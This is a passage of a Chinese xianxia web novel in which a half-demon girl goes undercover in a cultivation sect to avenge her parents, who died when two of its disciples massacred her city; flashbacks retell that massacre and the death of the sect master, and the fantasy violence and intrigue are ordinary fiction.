《出鞘 gb》
3. 恨海情天
意识到归染起了疑心,秋上尘为保证任务顺利完成,她只能忍痛抽出部分妖力,看着矮塌上还在调息的归舟,她将一缕妖力探进他的识海,暂时控制了他的意识。
其余的妖力开始修复自己断了的胳膊和腿,很快就已经完好如初了。
不过这样极其消耗妖力,短时间内修复断骨,还真不是轻松的事情,但是她现在还没有时间累。
凭着自己记忆中断骨的样子,她用妖力又一次将胳膊和腿一寸一寸的掰断!
看了好半天,才满意,这次总算像是摔断的了。
胳膊和腿都整下来,她疼的浑身发颤。
不过,这样的伤,她也早就已经习以为常了。
又将木棍和布条再次绑好,做完这一切后,她将归舟识海中的妖力隐藏好。
秋上尘并不打算将那一缕妖力现在就收回来,她要时刻监视着归舟的动向,有这一缕妖力在,到真是方便多了!
她收了自己的妖力,等着明天归染的“审判”。
这一晚上,她睡得尤其不安稳,整夜被梦魇侵扰,仿佛再一次看见了父母死时的惨状。
……
两年前,城中小院。
一个女子安静的坐在树下的木椅上,有一个小女孩紧贴在她身后站着,小女孩看上去似乎有十多岁那么大,手里拿了一把紫檀木梳,正在为那女子梳发,小小的手似乎还有些握不住母亲半散落的青丝。
“娘,为什么爹一直对我这么严格?”一个与年龄不相符和的声音询问。
“可能是因为娘吧,是娘对不住你。”坐在木椅上的女子回答。
小女孩乖巧的点了点头说:“嗯,娘,我知道了,以后我会更乖一点的!”
那女子轻柔的摸了摸小女孩的头,眼中有慈爱也有悲伤,很快将头转向另一侧,似乎是哭了。
过了一会儿,女子用手抹去眼泪,转过头来说:“尘儿不必违逆自己的想法,我们尘儿这辈子,不需要讨好任何一个人,就做自己,做自己愿意做的事情,做自己喜欢的事情。记住尘儿,这一生,我们是为了自己而活。”
小女孩又很乖的点了点头,为母亲梳好发髻后,轻放下木梳去干别的了。
女子看着不远处忙碌的女儿,不由得内心一阵刺痛。
她是人族,可是她夫君是妖族。
人、妖两族自天地之初便一直对立,她再不济也是知道的。
她年轻的时候,是被掳到妖族去的。阴差阳错,她的夫君看上了她,力排众议,带她出来隐居,这样的一个举动对她来说,就是救了她的命。要说自己是爱夫君,不如说自己更感激夫君。
本来这一切都没什么,直到人族修仙门派攻破了夫君一族。
夫君是龙族少主,龙族因失去了少主的庇佑,几乎被屠戮殆尽,自那之后,夫君见到她便再也没有笑过。
她不傻,她知道夫君心里难受,但是这是夫君自己的选择,所以夫君再难受,也没有怨她。
后来她再次见到夫君笑,便是二十年前她有了夫君的骨肉。
但,这是孽缘啊!
这孩子是千万年来唯一一个人妖混血成功存活下来的!生来体质特殊,与妖类似,只有到了二十五岁才能觉醒部分妖力,同时也可以开始修炼仙术,这时候身形才会变得与常人无异。
她知道,待女儿日后觉醒妖力、修习法术,将会法力通天,定是人、妖两族拼死相争的……物件。
所以她夫君想到这一点后,一直想方设法的想要把这孩子送回妖族去培养,是她竭力阻拦,这是她的孩子!不是人人相争的物件!这二十年间,她竭力将女儿保护的很好,给她最多的关爱。唯有一次,她没能护住女儿,使女儿遭受了不少的痛苦,寻回女儿后,她与夫君大吵一架。
自此这院子就冷清了。
不过好在,女儿对那件事情并没有什么记忆,这也能使她愧疚的内心得到片刻的缓解。
“娘!爹回来了!”小女孩兴高采烈的来到她面前,将她的思绪打断了。
女子忙站起身:“夫君,你回来了。”女子笑着询问,为他脱去外袍。
男人用几乎听不到的声音回答了一声“嗯”,走到她面前:“我已经和妖王说了,我们的孩子是人妖混血。”
女子手中的动作一顿,瞪大了眼睛震惊的说:“夫君?你是认真的吗?”
男人没有看她,许是不敢,又或者是不在意:“是,我是认真的。”
“不!”女子低吼道:“不行!她是我的孩子,是活生生的人!不是你们用来相争的物件!”
男人显然也没有耐心了,他迎着女子的目光看回去说:“秋玥黎,我没有跟你开玩笑,答应了妖王的事情,我不能不做!”
“龙少主?我是你的妻子,她是你的孩子啊,你怎么能忍心……你怎么能忍心再次看她受那样的苦?”女子说到一半说不下去了,泪水顺着脸颊的轮廓一滴滴滑落。
男人见到女子哭了,又看了一眼不远处的女儿,他叹了口气说:“不会的,我跟妖王达成了协定,会保护上尘平安,不受一点委屈。”
女子像是想到了什么,她声音有些颤抖的小声询问:“你不会是?”
“嗯,我没办法。”男人回答。
“不……不,不,一定要这样吗?”女子好不容易止住的泪又再次流出来了。
男人这次没有回答,可能是因为没有力气回答,也可能是不想回答,他轻轻将女子抱进怀里安抚,女子亦紧紧环住男人的腰。
远处的小女孩看上去不大,但是她今年已经二十岁了。身形虽然与人族孩童一般大小却与人族二十岁女子智力相同,她能从父母脸上看出来,出事了。
突然有人闯进了院子,冲着三人喊到:“快跑啊!人族仙人打进来了!”
男人闻言连忙松开,看着女子说:“玥黎,得赶紧送上尘走了,再不走就真的来不及了!就当是为了我,我失去的东西,已经拿不回来了。”
女子含泪应下:“好,我答应你,但是你记住,这辈子,是我们对不起尘儿。”
男人眼角微红,随后也点头应下。
……
城门口站着两个很年轻的人,大概十七八岁的样子,一人持剑,一人抱琴。
持剑那人一剑斩出,城门瞬间化为粉末。另一人的身形瞬间出现在城门之上,只轻轻一拨琴弦,那些卫兵便被震开,有些当场丧命,有些则现了原形,四处逃窜。
持剑那人见状微微一笑说:“竟真是一座‘妖城’,师弟,方才做的不错啊!”
被唤作师弟那人侧首听完,淡淡的看了他一眼:“聒噪。”
持剑那人气得翻了个白眼,看见抱琴那人已经进了城内,自己也赶紧追了上去,边追边喊:“归舟!这城中的妖,你我一人一半!”
归舟没有回头,但是归夜听见了一声“嗯”。
归夜淡笑了一下:这家伙还是这样。
归舟抱琴缓步进入城内,收了琴,祭出剑,挥剑便砍,场面一时极度骇人。
一通屠杀后,归舟雪白的衣衫上溅上了几滴血迹,他看见后立刻施法清理了。血滴从剑尖上一滴一滴滑落,他内心复杂,有不忍、也有恨,手却并不抖,依旧稳稳的拿着剑。
城内霎时一片混乱,妖族死伤无数。
有的孩子刚出生便没了父母,有的丈夫没了妻子,有的母亲死了孩子……
曾经温馨的小城霎时一片凄惨,看着平日里与自己交好的伙伴,要么已经化为漫天星辰、要么已经四散逃开,小女孩眼中微微湿润。
看见父亲一手拉着母亲,一手抱着自己,多少年了,父亲没有抱过自己了。
这二十年来,她没有感受过父爱,所以她贪恋这一刻的温情,即便是在这一刻她死了,也此生无憾了!
突然,毫无征兆的,父亲呕出一口鲜血,然后跪倒在地,母亲见状赶紧上前为父亲擦拭。
可是男人像是受了重伤,一直往外呕血。
那女子无助的一直擦,但都是徒劳,小女孩好像明白了刚才母亲为什么哭。
男人按住那女子的手,用几乎听不见的声音说:“玥黎,没用的,这辈子是我对不住你们,是我害了自己的家族,也害了你们,我死不足惜,但是上尘她是妖族唯一的希望,她绝不能落入人族之手,等她足够强了,能自保了,我相信她会有自己的选择。”话没说完,他的眼睛、鼻子、耳朵,也相继渗出血。
小女孩断断续续的听见了“害了家族”“死不足惜”“有自己的选择”这样的字眼,听得她云里雾里,于是问母亲:“娘亲,父亲这是怎么了?”
那女子泣不成声,她这一刻才明白,夫君心里家族更重要,自己是第二位,最后一位才是他们的女儿……
虽说当年是叛出了家族,但是到最后,在夫君心里家族还是最重要的那一个。
“你父亲,他为了你,失去了自己的内丹,没有了龙族最重要的护心鳞,龙髓也被抽出来了……”女子最后选择了隐瞒男人的真实目的,她不是什么伟大的人,却有自己的私心,她就想家里和和睦睦、安安稳稳的,只希望自己的女儿长大之后不要怨恨自己和她的父亲,但是显然这些愿望,大部分已经不可能实现了。
小女孩有些不可置信的说:“父亲这样都是为了我吗?”
女子闭上了眼睛,不敢看她,半晌才说:“是,你父亲现在这样都是为了你的前途,尘儿,莫要辜负了我们,也莫要怨恨我们。”
小女孩郑重的“嗯”了一声。
这个时候,她看见了一个白衣男子,那男子手持一柄长剑,白衣一尘不染,风度翩翩,颇具仙人之姿。
她能看见那男子,那男子显然也看见了他们。
归舟见这三人还活着,缓步提剑走
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过去,要刺下去的时候,他顿住了。
这三人有两人不是妖,而那龙妖不知受了什么伤已经快死了,他只杀妖,从不杀人。
小女孩看见自己的母亲抱着自己死死的挡在父亲身前,母亲一向胆小怕事,为何今日这般?
她从母亲的臂弯里探头出来看,那男子见到这一幕似是极为痛苦,竟无法支撑自己的身体,单膝跪下了,手中那把剑成了他唯一的支点。
细看那男子眉清目秀,皮肤白皙,拥有这样的外表,任谁也不会想到城中那样的惨状会是他做的。
而现在,他那一双好看的桃花眸半张着,瞳孔微微失焦,一手扶额,汗珠从额角冒出。
不多时,她看见那男子的眼睛渐渐恢复了清明,但却把剑收了起来。
起身朝着她们走了几步,又蹲下来,递给了母亲一块布,说:“给他擦擦伤口吧,他会好受点。”声音平稳带着一丝温柔,让人听后喉咙发紧。
小女孩见到母亲将信将疑的接过了布按在了伤口上,父亲果然好了很多。
归舟见状便打算走了,走出还没几步他忽然听见那女子冲他大喊:“他是我夫君啊!是我夫君!你杀了他!是你!”
归舟闻言很诧异,因为那块布上虽然有药,却是上好的灵药。
无奈他还是转身说:“夫人,除妖是在下的职责,请节哀,随我出城吧。”
那女子看着他凄惨一笑:“天不放过我们,那你也跟我们一起死吧!”
小女孩从小到大都在母亲的呵护里长大,从没见过这种场面,令她一时有些懵,等她回过神来,就看见母亲似是手中攥住了什么东西,然后一把抓住了那年轻男子纤细的手腕,那年轻男子也并没有反抗。
随后,小女孩看见母亲竟从袖中拿出一把刀来,直直冲着自己刺来,她下意识闭上了眼睛,然后她觉得有人夺过了她,将她护在了怀里。
等她再睁眼时,看见的就是母亲心口插着一把匕首,躺在血泊里,一只手搂着父亲,死不瞑目。
那年轻男子似乎是被她母亲做了什么,苦笑一下,然后施了法术。
小女孩忽然觉得鼻头很酸,但是现在的情形容不得她难过,面对生与死的挑战,这样巨大的恐惧笼罩住了她,她不知道下一刻这个男人会不会也杀了她。
实际上并没有,年轻男子弯腰轻轻抱起了她,一步一步朝着城门口走去。
她看着自己的父母离她越来越远,两个人抱在一起,那个姿势好像有点刺痛她,于是她将头埋进了年轻男子的颈窝。
她本以为这样一个举动会使自己万劫不复,没想到男子只是轻轻拍了拍她的背以示安慰。
小女孩内心忐忑不安,她努力装出一副孩童的模样,不能让这年轻男子看出来,自己不是小孩子。
幸好城不大,很快就到了城门口。
年轻男子单膝跪下将她轻轻放在地上,她见那人迟迟没有起身好像在思考什么。
机会来了!
在归舟看不见的地方,小女孩悄悄拿出了母亲临出院子前塞给她的小刀。
这是母亲唯一留给她的东西了。
小女孩趁着年轻男子的注意力不在她身上,一刀刺进了他的心口。
这一刀果断、狠辣,不带一丝一毫的犹豫。
她看见那男子抬起头,墨蓝色的眼瞳中全是不可置信,然后一把推开自己,呕出一口血来。
年轻男子的脸色很快就变得煞白,那双好看的桃花眸也已经开始涣散,摇晃了几下,便软倒下去。
她拿着小刀一步一步的朝着倒在地上的男子走过去。
小女孩端详了一会儿,这男子看着很年轻,应该小自己几岁,脸也过分好看了,不过这都不影响他是自己的仇人。
正在她要刺下去的时候,被一阵法力震出去了数米,她试着爬了几次都没爬起来。
这时,她才发现这年轻男子竟不是一个人来的,还有另一个人。
那人也很年轻,见到年轻男子躺在一旁,赶紧过去给他喂了一颗什么药,不多时,年轻男子竟然悠悠转醒了。
后来的那人正要提剑朝自己走来,却被那年轻男子一把抓住了,虽然抓住他衣袍的手松松垮垮,像是随时都可能脱力一般,却还是坚定的拦住了那人。
不知道说了什么,那人一把拽开他的手,朝自己挥出一剑。
就在小女孩认命般闭上眼睛的时候,她感觉自己的身体被一阵风卷走了。
等再睁眼的时候,她已经在一个灯光昏暗的宫殿里面了。
“娘!”秋上尘从梦中惊醒,冷汗已将全身衣物浸湿。她深吸了几口气,平复了一下心情,坐起身,用布轻轻拭去额头上的汗珠。
两年来,这个梦在她的睡梦中数次出现,就像一颗毒药,深深地种在她的心中,仿佛在无形中一直默默提醒。
屠城之仇、此生必报!
4. 秘密
次日,归染很早就过来了,秋上尘被噩梦整夜困扰,导致她很早就睡不着了,此时正安静的躺在床上听着门口的动静。
归染进来发现归舟还在调息,就没打扰,俯身又看了看秋上尘的伤口,她也担心是自己昨天晚上一时心急,看错了。
归染一看,发现这个伤口居然没什么问题,她有点疑惑,但是很快就被她自己否定了。
可能就是昨天晚上烛火太暗。
既然没什么问题,那这件事还是先放放吧。
在给秋上尘换药的时候,她发现了一个很严重的问题:秋上尘的断骨很严重,有可能此生再也无法正常行走!
她扶额叹息,正巧被调息完的归舟听见了。
归舟走过来:“师姐?”
归染回头一看,见归舟已经走过来了,就把她发现的问题告诉了他。
归舟皱眉:“当真无法行走?”
归染点头:“是,不过我记得师尊单独传了你一套特殊的功法,或许可以一试。”
突如其来的沉默,归舟扶额:“人是我带上来的,我应该对她负责,就让她拜我为师吧!”
归染惊道:“师弟!你……”卡了好一会儿,一句话都没说出来,只能凑近归舟耳旁小声说:“那你小心些。”
归舟点了点头。
尽管他们声音很小,但是秋上尘还是全都听见了,她也觉得是时候到自己出场的戏码了,就缓缓的睁开了眼睛。
归染一转身,就看见秋上尘缓缓睁开了眼睛,她赶紧过去将秋上尘扶起来靠在床头,又仔细把脉,过了一会儿才说:“嗯,已经无大碍了,就是这断骨……”
秋上尘闻言满脸愧疚的说:“对不起染姐姐,我昨天只是不想麻烦你,结果最后还是……对不起,是我太没用了。”说到后面,秋上尘还小声抽泣起来,眼眶泛红,看上去柔弱可怜。
归染看这情形也不好多说什么了,就安慰道:“秋姑娘,你安心养伤便是,不过现在有一个问题,就是你的断骨如果不修习可能会永远……”
“所以你要留在这修习吗?”归染问道。
秋上尘不能很快的答应,这样会使归染起疑心,于是她用一种受了委屈又竭力忍住的表情看着归染:“染姐姐,我如果不修习真的会再也站不起来吗?”
归染别过头去,说:“是。”
秋上尘又考虑了好一会儿才说:“好,我修习。”
“秋姑娘,愿意拜我为师吗?”归舟很生硬直白的问。
好像觉得这样说不妥,才解释了一下:“毕竟是我将你带上来的,此番害你如此,实在是愧疚。”话虽然说的愧疚,但是那双墨蓝色的眼瞳却是毫无波澜,脸上也没有什么过多的表情,这让秋上尘很看不透他。
不过秋上尘还是装出满脸惊喜的样子:“归公子是我师尊吗?”
归舟“嗯”了一声:“姑娘如果不愿,在下还有……”
“我愿意呀!谁说我不愿意?”秋上尘的笑容就如冬日里的阳光一般,照进了归舟的眼里。
归舟微顿了一瞬,随后又“嗯”了一声,说自己还有事就先走了。
归染把药给秋上尘配好之后,嘱咐她喝下,也走了。
秋上尘半靠在床上,乖巧的表情一直坚持到所有人都出了屋子,脸上的笑容瞬间消失,只留下一层阴冷的厌倦。
这次的任务完成的还真是“顺利”啊,只是受了不少皮肉之苦,不过,值了!
看见屋里的人都走了,秋上尘又拿出那张传音符,与妖王汇报了任务的完成进度。
秋上尘此番牺牲如此之大,却只换来了妖王的一句:“做的不错。”紧接着,就又给她发了一个新任务:想办法杀了辰秋落的四位长老!
秋上尘:……
“这是人干的事嘛?”她颇为无语。
虽然她也想这么做,但是时机和实力双不允许啊!
这才刚入门派,啥也不知道呢,她有时候真的是佩服这个妖王的脑回路。
但是她又转念一想,不对啊,如果妖王想灭了一个人族修仙门派,何须杀了人家门派的四个长老?直接灭门不就好了?这说不通啊!
在她嘴皮子快要磨破的时候,妖王终于同意静观其变了。
秋上尘长舒一口气,总算可以歇几天了。
果然,只有出任务的时候,才会有片刻的安宁,当真是来之不易!
她慵懒的靠在床头,看着打开的窗户,外面的夕阳,撒在辰秋落层层叠叠的山峦间,好似给山铺上了一层金灿灿的稻穗,如此这般美景,还真是利于伪装啊!
……
秋上尘的伤在归染的“精心调理”下好了大半,身上那些本该留下疤的伤痕,也已经全部完好如初。
不过,这倒不全是归染的功劳,更多的还是源于秋上尘自己——配合的好。
归染给的药,她一口都没有喝过,毕竟一个生在杀手组织里面的人,又能好心到哪去?
万一哪天归染心血来潮,在药碗里面下毒,喝了不就彻底完蛋了!
可是,这不喝药又如何能好?
自然是秋上尘自己的愈合能力强的离谱,并不需要这些无用的东西。相比之下,她更关心的是,归舟究竟有什么功法,竟能断骨重生!
明天,就是她养伤的第五日了,算算时间,归舟也该来了。
秋上尘立即感知了一下归舟的方位,赶紧从窗户边上走回来,到床上坐下。
刚坐下,甚至还没坐稳,归舟就敲门了:“秋姑娘?可方便?”
秋上尘唇角微微翘起,在咳嗽了两声之后,她用沙哑的嗓音开口:“归公子请进。”
在归舟进来的那一刻,她装作要起身行礼,却怎么挣扎都站不起来,最后跌在了地上,秋上尘满脸歉疚的说:“抱歉,归公子,我的腿……”
归舟淡声:“无妨。”声音没有一丝波澜,眼中没有一丝一毫对秋上尘的怜惜,也没有动作要将她扶起来。
秋上尘见他这幅样子,在心里翻了个白眼:虚伪!
归舟坐在了那天他调息的矮塌上,然后缓缓开口:“秋姑娘,在下见你今日除了腿伤以外,其他的擦伤都已好了大半,这腿伤也耽误不得,等会儿就去宗门祠堂,行拜师礼吧!”
“不行!”还没等秋上尘回答,一个斩钉截铁的声音说:“师弟,她内伤颇重,不宜多走动。”
归舟抬眼见归夜走进来,不过归夜好像在示意他什么,一直给他使眼色,归舟了然:“罢了,既然秋姑娘伤势未愈,在下就不多叨扰了,待伤势好转,再行拜师礼。”说完他就起身,随着归夜一起出了门。
秋上尘在见到归夜的那一刻,瞳孔骤然收缩,手暗暗抓紧了床单,床单被她用力攥出来了许多细小的褶皱。
她认出来了,这个人就是当年与归舟一起屠城的那个人,还差点一剑杀了自己!
秋上尘既然敢来辰秋落孤身卧底,她就必然对辰秋落有所了解,虽然关于辰秋落的线报少得可怜,但是她知道归舟有两个师兄,一个师姐。
妖王既然说要杀了辰秋落四位长老,归舟现在是掌门,那就一定还有一位长老,就是不知道是男是女了。
不过,这也并不重要,反正都是要死的!
既然这个人管归舟叫师弟,那必然是两位师兄里面的一个。
这个人,她断然留不得!
见两人出了屋子,她尽量轻的起身,利落的来到门口,将头微微侧向门缝,希望能听到点有用的线索。
但是很可惜,那个人显然是比归染还要警惕,甚至已经和归舟御剑飞走了,而她那缕留在归舟识海的妖力,只能短暂控制归舟的意识以及感知他的位置,不能用来窃听,可惜了!
秋上尘推开一点门,从缝隙中望着两人离开的方向,眯了眯眼睛。
总有一天,我会让你们付出代价!
……
归舟一头雾水的跟着归夜来到了他自己的院子,见归夜一直不回头的往里走,他开口道:“师兄?”即便有再多的疑问,但他还是只说了这俩字。
归夜回身看向他:“她有问题。”
归舟皱眉:“我探过她识海,是人族。”
归夜摇了摇头说:“我不是说她是妖族,是归染让我查她的身世。我这几天查了她与这附近被妖族人残害的村落,无一点关系!你知道这意味着什么吗?”
归舟却不回答那句话:“我只相信我看到的。”
归夜没好气的说:“你怎么还是这样!就这样随意相信别人?你到底要吃多少亏才能长长记性!”
“这意味着,有两种可能性!第一,就是她身份存疑,但是目前,我觉得还没有妖族能逃过你的探查;第二,就是她真的是被妖族残害的女子,但是她一定另有目的。除此之外,我想不到别的可能性。”归夜把刚才自己问的问题回答了。
归舟闻言,只是淡淡的回了一声“嗯”,就没再说话了。
归夜简直觉得自己在“对牛弹琴”,一天天的自己说了多少句话,归舟每次就回答那么一句“哦”或者“嗯”,跟不会说话一样,气死他了!
归夜留下一句“好自为之”就怒气冲冲地走出去了。
归舟也看出来他生气了,但是他并没有跑出去解释,而是将目光锁定在了屋子里——书架的后面。<
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师尊生前留下了关于他身世的线索,但是他现在的能力,根本无法开启线索,他对收秋上尘为徒这件事,其实也有自己的私心,但是这份私心并不伤天害理。
……
归染走进院子的时候,“碰巧”看见秋上尘正拄着一根拐杖,艰难的一步一步朝院子里的秋千走着。
归染的院子里大多数都是花花草草,不过唯一一处与这院子里其他地方不同的就是那个秋千!
这个秋千在这里很多年了,好像是归染来到这个院子的那一天,前任掌门——也就是她的师尊,亲自为她搭建的,没有人知道为什么一向喜欢研究毒虫毒草的她,居然会喜欢这种天真烂漫的小女孩才会喜欢的东西,当然,也没有人敢问。
归染见秋上尘颤颤巍巍终于走到秋千旁边坐下的时候,她居然有种放心了的感觉。归染很快就意识到了这个问题,什么时候自己与她竟已经相熟至此,还失去了本该有的戒心!
她强迫自己带上戒心,走向了秋上尘。
秋上尘其实早在归染还没进院子的时候,就已经发现她了,她是掐着点走到这个位置上的,目的就是为了让归染看见她。
不过,她并不打算有什么反应,好像也不应该有什么反应。
那天在归染院子里见到这个秋千,她就很奇怪,像她这样一个杀人不眨眼的人,怎么会有这等闲情雅致?真是有意思。
她背对着归染轻轻的冷笑了一声,又是一个虚伪的人,怎么这个门派这么多虚伪的人?还真是令人生厌啊!
归染缓缓走向她,却在离她还有几步路的地方踢到了一颗石子,在这样寂静的院子里,这声轻微的响动也会“惊动”她。
秋上尘猛然回头,装出一副被归染惊吓到的神情,那表情在见到是归染后,才缓和了一点。
“染姐姐。”秋上尘从惊吓恢复到与往常一样的笑容。
归染看见她的眼神,突然有种干坏事被发现了的尴尬,于是有些僵硬的说:“哦,那个我来看看你的伤,刚才是在想事情太认真了,就没……”
“嗯,我知道,染姐姐事情多,不用日日来看我的,我的伤已经好很多了,就是这个腿,现在还是不能长时间站立。”秋上尘看上去很听话的说着。
归染心里总觉得她有点怪怪的,但是又觉得正常小姑娘就应该是秋上尘这样的。再三思索后,她把问题又归结在自己身上,可能是从小就在辰秋落长大,自己与外界的正常小姑娘不太一样吧!
归染难得温柔的冲着秋上尘笑了笑,然后拉过她那只没断的胳膊,把了一会儿脉后,才说:“嗯,内伤确实好了不少,不过这几日还是不能多走动,你玩一会儿就赶紧回去吧,师弟还等着你的拜师仪式呢!”
秋上尘满脸愧疚的说:“抱歉,染姐姐,我给你们添麻烦了。”
“哎呀,行了,救你刚好积德行善嘛!”
话音未落,就听见秋上尘“噗”了一声。
归染还以为她怎么了,秋上尘连忙摆了摆手解释道:“刚才嗓子不舒服,咳嗽又没咳舒服。”
归染听后,还贴心的给她拍了拍后面,为她顺气。
实际上是秋上尘在听见“积德行善”这四个字的时候,没忍住差点笑出声,悬崖勒马才发出“噗”的一声,不然事就大了!
看见归染走回了自己的房间,她脸上的笑容也消散的无影无踪,这秋千安置的好啊!刚好背对着归染的屋子,不然这厌恶的表情,今日肯定是藏不住了。
……
“只要我活着一日,这东西便不可能交出!”是一个满身伤痕的男子,他说出这话的时候,显然已经生机断绝了。
“有骨气,不过无用!”
“……”
谁?是谁?究竟是谁?
“别怕,爹娘都在……”那个温柔且陌生的声音有一次出现在他耳旁。
“……”
好……好熟悉,究竟是谁?
归舟从记忆中清醒过来,清醒过来的一瞬间,全身都被汗水浸湿,他大口的喘着气,好似刚经历了一场浩劫。
儿时生了场大病,许多事情都记不清楚了,但是方才的那一幕,却经常以破碎的形式,在他梦里反复重现。
明明好几次,感觉已经快要接近真相了,却怎么都看不透,那真相好像总被覆着一层白纱,叫人看不真切。
这两年来,他一直想要开启师尊留下来的线索,不想继续被这梦魇日日困扰,现在终于有了一线希望!
只是这个秋姑娘,为何还是会觉得有些熟悉?
思绪又将归舟拉回到了两年前的那一天,也是他人生中无比阴暗一天。
5. 回忆(一)
两年前,那座妖城。
归舟被逼无奈的接受门派的命令,让他和归夜去那座城里杀妖。
他从不杀人,但是师尊说了,那城里全是妖,仙门除妖是天经地义之事。
于是,他同意了。
本以为是普通的杀妖,到之后才知道,门派竟然与朝廷都有了勾结!
他不想让门派有这诸多是非,但是他都已经到了,就只能做,毕竟拿人钱财吃人手短啊。
归舟幼时知道门派真相的时候与师尊说过,自己不想去做任务,只想安心修炼,师尊那时也是同意了的,这是师尊第一次派自己出任务,想必也是因为跟朝廷做交易,任务关键才会让他来的。
与归夜一同来到城门处时,见到归夜只一剑,就斩开了城门。
归舟不想出手,但是既然跟来了,就不能只是看着,所以他还是动手了。
在归舟杀了半座城的妖物后,他又发现三个还活着的人,不,是两个人,其中有一个是妖。
不过那只龙妖不知受了什么伤,已经命不久矣了。
在他挥剑要刺下去的那一刻,旁边的女人抱着孩子挡在龙妖身前的举动让他感觉很熟悉,但是却不知道自己是在何处见到的,这让他越想越头痛,险些在这几人面前软倒。
归舟强忍着疼痛,停止思考,缓了很久才好受点。
再次抬起头的时候,他收了剑。
他不是会落井下石的人,他想放过这一家人。
归舟蹲下,好心递给了那女子一块布,上面是上好的灵药。
但是,在他起来转身的那一刻,归舟听见背后那个女人撕心裂肺的叫喊,说是自己杀了她的夫君。
归舟既无奈也无心与她辩解,只想尽快带着两个人族离开这个是非之地,但是那女子就跟疯了一样攥住自己的手腕。
归舟并没有挣脱,毕竟一个人毫无法力的人族女子还威胁不到他什么,她现在想宣泄便宣泄吧!
这样的想法刚一出,他就看见那女子拿出了一把匕首要刺向她怀中的小女孩,归舟没有时间觉得此事蹊跷,他只来得及护住小女孩,等他再看向那女子的时候,匕首已经插在那女子的心口上了。
他看见那女子朝他凄惨一笑,用口型说:“那你就跟我们一起死吧!”脸上挂着笑意,死不瞑目。
归舟感觉刚才被她攥住的手腕突然开始隐隐作痛,赶紧抽出来,发现手腕处已经变黑了。
归舟苦笑一下,施法压制住,又看了眼被自己护在怀里的小女孩,发现这个小女孩很是漂亮,不过有一点很奇怪,这个小孩刚才失去了父母,现在竟一滴泪都不流。
可能是被吓到了,归舟叹了一口气,轻轻抱起来这个刚刚失去了父母的小女孩。
小女孩好像的确很害怕,一直往他的颈窝里缩,他能做的也就只有轻轻拍拍她的背以示安慰。
到了城门口,归舟见归夜还没回来,把小女孩轻轻放在地上,就在思绪飘飞的时候,刚才那个小女孩一刀刺进了他的心口!
归舟看着眼前的小女孩,一脸不可置信,他从没对这个小女孩有过一丝一毫的戒心,这等心机,不像是——这个年纪会有的!
意识开始模糊的时候,他才发觉,这刀上有毒!可是已经来不及了,眼前已经陷入了黑暗。
好像很快就又清醒了一瞬,视线模糊间看见归夜要杀了那个小女孩,他一把攥住归夜的衣服,现在已经记不清自己当时说了什么,只记得归夜把自己的手甩开了,再然后就彻底失去了意识。
……
后来,自己是怎么回来的,归舟并不清楚,只记得自己睁开眼的时候头晕眼花、浑身无力。
坐起身来,刚一迈脚,便跪了下去发出“咚”的一声。
好像是听见了屋内人的动静,门被人从外面打开,归染快步走进来,见归舟跌在地上,忙上前扶起来:“师弟,你余毒未清,怎能下地?”
把完脉见归舟没大事,她继续说:“此毒甚是凶险,并无解药,你未及时解毒,余毒已入心脉,损伤了根基,导致现在法力耗损严重,不过等你法力恢复后定时压制,就无大碍了。”
归舟点了点头。
被归染扶到床边坐下后,他小声问:“师姐,你是不是觉得我很没用啊?这次又因为……”
归染温柔道:“怎会?师弟一心不喜杀戮,这是好事啊,心软乃是人之常情,而且你修为高深,这是很多人都达不到的。”说完后像是想到了什么,她停顿了一下又严肃的说:“不过,咱们既然在辰秋落,就注定了不能心软,你对敌人心软,敌人对你,未必心软。”
归舟“嗯”了一声,随后又说:“师姐,我想自己一个人待会。”
归染给他沏了一杯茶:“等会儿记得喝,我走了。”
……
再往后,就是归染就守在归舟的院子里,不许他出去,让他好好养伤。
归舟没有办法,归染给他设了结界,他法力受损严重,根本破不开,想出也出不去。
每日只有归染能进他的房间,他倒也不觉得无聊,毕竟自己喜欢安静。
原本他以为只是普通的疗伤,待他修为恢复冲破结界时,便可与往常无异。
直到五日后,他在房内听见了钟鸣。
刚要喝茶的归舟,手上的动作在听见钟鸣后顿住了,他先是疑惑,因为钟鸣无非只有两种情况,一种就是有人进攻门派,另一种则是……
想到这,归舟突然发觉不对劲,为何养伤要将他关起来?为何只许归染一人出入自己的院子?问题既出,那么答案已经很明显了。
手一松,茶杯掉落在地,瞬间迸裂,茶水也洒了一地,满屋飘香。
他不敢想了,他害怕事实就是自己想的那样,但是又抱有一丝侥幸心理,毕竟那可是他的师尊啊。
归舟突然起身,瞬间已经到了房门口,双手结印试图冲破结界。
以他现在的伤势,双手结印已然费劲,但他依然没有停下,见到结界只有轻微破损,归舟顾不得别的,祭出本命剑,全力刺向结界。
等结界破碎时,归染刚好赶到,见归舟祭出本命剑,她怒道:“归舟!你不要命了吗?”
回答她的则是归舟呕出的一口鲜血。
但是归舟没有理会欲上前查探他伤势如何的归染,便御剑飞去了正殿。
归染见状也拦住了后面的几个弟子,看着他的背影说:“罢了,他也该知道了。”
还未飞到正殿门口,他便从剑上跌了下来,法力还未恢复就又耗尽了。
他艰难爬起身,顾不得身上的伤和自己的形象,踉踉跄跄的跑进殿中,最先看见的就是一副白色的棺椁。
归舟只觉得眼前恍惚,后知后觉才发现殿中弟子尽着白衣,殿内也挂满了白色的素帷。
一步一步走近棺椁,他每走一步,只觉得心口压抑,似有千斤重,压的他喘不过来气。
每看着棺椁近一步,就像有千万双手攥着他的心,无时无刻不在告诉着他,他的师尊死了,是被他自己害死的。
明明平日里短短的几步路,今日却好像走了许久,那棺椁似乎永远都触碰不到。
终于,归舟在恍惚中触碰到了棺椁,他的手却在触碰的瞬间开始猛烈的颤抖,颤抖的几乎不能正常抚摸,一步一步走来时想说的千言万语,在这一刻,却只换来了一声“师尊”。
归夜一袭白衣站在一旁,静静地看着归舟,他知道归舟受打击极大,自己也不是小人,做不出落井下石的事。
归夜走上前,拍了拍归舟的肩膀,轻声说:“师弟,师尊并未怪你,反而觉得对你亏欠良多,所以仙逝前留下口谕,将这掌门之位传与你。”
归舟没有理会归夜刚才说过的那一堆话,而是看着归夜的眼睛,问:“师尊,是我害死的吗?”
归夜一时不知道该说什么,所以没有回答。
归舟又问:“师尊,是我害死的吗?说话。”语气间没有过多的情感波动,但让人听上去却很有威慑力。
归夜轻微一点头,又摇了摇头:“这是师尊的选择。”
归舟笑了一下,泪水终是流了下来,他伏在棺椁上将泪水无声倾出,双手紧攥,对自己恨之入骨。
归夜自是了解自己师弟的性子:可以宽恕所有人,唯独不愿放过自己。
他将归舟拉起来抱住了,就像儿时那样,受了委屈抱住哄一哄就好了,什么也不用说,什么也不用做,但是又好像什么都说了,什么都做了。
